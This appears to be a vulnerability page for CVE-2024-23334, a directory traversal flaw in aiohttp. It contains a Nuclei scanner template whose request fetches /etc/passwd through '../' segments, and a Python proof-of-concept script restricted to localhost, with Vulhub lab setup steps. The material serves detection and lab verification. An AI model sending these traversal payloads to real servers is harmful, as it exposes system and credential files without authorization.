CVE-2024-23334

nuclei -id CVE-2024-23334 -u https://your-target

Template yaml

id: CVE-2024-23334

info:
  name: aiohttp - Directory Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
  remediation: |
    Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
  reference:
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
    - https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
    - https://x.com/W01fh4cker/status/1762491210953060827?s=20
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-23334
    cwe-id: CWE-22
    epss-score: 0.76875
    epss-percentile: 0.99511
    cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aiohttp
    product: aiohttp
  tags: cve,cve2024,aiohttp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "aiohttp"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c5990b4baa4d0fa70582fe7471f786d82e6c35f66d999a2db4d3a3702f168df102202a717b2cd9d19aa5d96c54413048c494f4b2a84a61c465f224b2c30549e3d7ae:922c64590222798bb761d5b6d8e72950

Code txt

# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334)
# Google Dork: N/A
# Date: 2025-10-06
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://www.aiohttp.org / https://www.python.org
# Software Link: https://github.com/aio-libs/aiohttp (vulnerable tag: 3.9.1)
# Version: aiohttp 3.9.1 (vulnerable)
# Tested on: Linux (host for Vulhub / Docker) and inside container VM: aiohttp 3.9.1
# CVE: CVE-2024-23334

# Description:
# Proof-of-concept to verify directory-traversal behavior when aiohttp is configured
# to serve static files with follow_symlinks=True (affects aiohttp <= 3.9.1).
# This PoC is intentionally restricted to local testing and will refuse non-local targets.


# Environment setup (Vulhub example):
# 1. Obtain Vulhub and change to the aiohttp 3.9.1 directory:
#      cd vulhub/python/aiohttp/3.9.1
# 2. Start the vulnerable service:
#      docker compose up -d
# 3. Verify the service is accessible on localhost:8080:
#      curl -v http://localhost:8080/   # should respond
#
# Prepare a safe probe file inside the container (non-sensitive):
# 1. Identify the container name or ID with `docker ps`.
# 2. Create a test token file inside the container:
#      docker exec -it <container> /bin/sh -c "echo 'POC-AIOHTTP-VULN-TEST' > /tmp/poc-aiohttp-test.txt && chmod 644 /tmp/poc-aiohttp-test.txt"
# 3. Verify:
#      docker exec -it <container> /bin/sh -c "cat /tmp/poc-aiohttp-test.txt"
#      # should print: POC-AIOHTTP-VULN-TEST
#
# How to run this PoC (local only):
# 1. Save this file as poc_aiohttp_cve-2024-23334.py
# 2. Run it on the host that has access to the vulnerable container's localhost port:
#      python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8
#



#!/usr/bin/env python3
"""
Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks).
This script will refuse to target any host other than localhost/127.0.0.1/::1.

Example:
  python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8

If the vulnerable server returns the probe file contents, the script prints the body
and reports VULNERABLE.
"""

from __future__ import annotations

import argparse
import socket
import sys
import urllib.parse
import http.client

LOCAL_HOSTS = {"127.0.0.1", "localhost", "::1"}

def is_localhost(host: str) -> bool:
    """Only allow local hosts to avoid misuse."""
    return host in LOCAL_HOSTS

def build_traversal_path(probe_path: str, depth: int = 8) -> str:
    """
    Build a traversal-style path to append to /static/.
    Depth can be adjusted if the server root / static layout needs more ../ segments.
    """
    probe = probe_path.lstrip("/")
    ups = "../" * depth
    return f"/static/{ups}{probe}"

def try_connect(host: str, port: int, timeout: float = 3.0) -> bool:
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except Exception:
        return False

def send_get(host: str, port: int, path: str, timeout: float = 10.0):
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    try:
        conn.request("GET", path, headers={"User-Agent": "poc-aiohttp-check/1.0", "Accept": "*/*"})
        resp = conn.getresponse()
        body = resp.read()
        return resp.status, body
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).")
    parser.add_argument("--host", default="127.0.0.1", help="Target host (MUST be localhost).")
    parser.add_argument("--port", type=int, default=8080, help="Target port (default: 8080).")
    parser.add_argument("--probe", required=True, help="Absolute path on server to probe (e.g. /tmp/poc-aiohttp-test.txt).")
    parser.add_argument("--depth", type=int, default=8, help="Traversal depth (increase if needed).")
    parser.add_argument("--timeout", type=float, default=10.0, help="Request timeout seconds.")
    args = parser.parse_args()

    host = args.host.strip()
    port = int(args.port)

    if not is_localhost(host):
        print("ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.", file=sys.stderr)
        sys.exit(2)

    # quick reachability check
    if not try_connect(host, port, timeout=3.0):
        print(f"ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?", file=sys.stderr)
        sys.exit(3)

    path = build_traversal_path(args.probe, depth=args.depth)
    # encode path but keep slash and common safe chars
    path = urllib.parse.quote(path, safe="/?=&%")

    print(f"[*] Sending GET {path} to {host}:{port} (local lab only)")
    status, body = send_get(host, port, path, timeout=args.timeout)
    print(f"[+] HTTP {status}")

    if body:
        try:
            text = body.decode("utf-8", errors="replace")
        except Exception:
            text = repr(body)
        print("----- RESPONSE BODY START -----")
        print(text)
        print("----- RESPONSE BODY END -----")
        # heuristic: check for the expected test token
        if "POC-AIOHTTP-VULN-TEST" in text:
            print("[!] VULNERABLE: test token found in response (lab-confirmed).")
            sys.exit(0)
        else:
            print("[ ] Test token not found in response. The server may not be vulnerable or probe path/depth needs adjustment.")
            sys.exit(1)
    else:
        print("[ ] Empty response body.")
        sys.exit(1)

if __name__ == "__main__":
    main()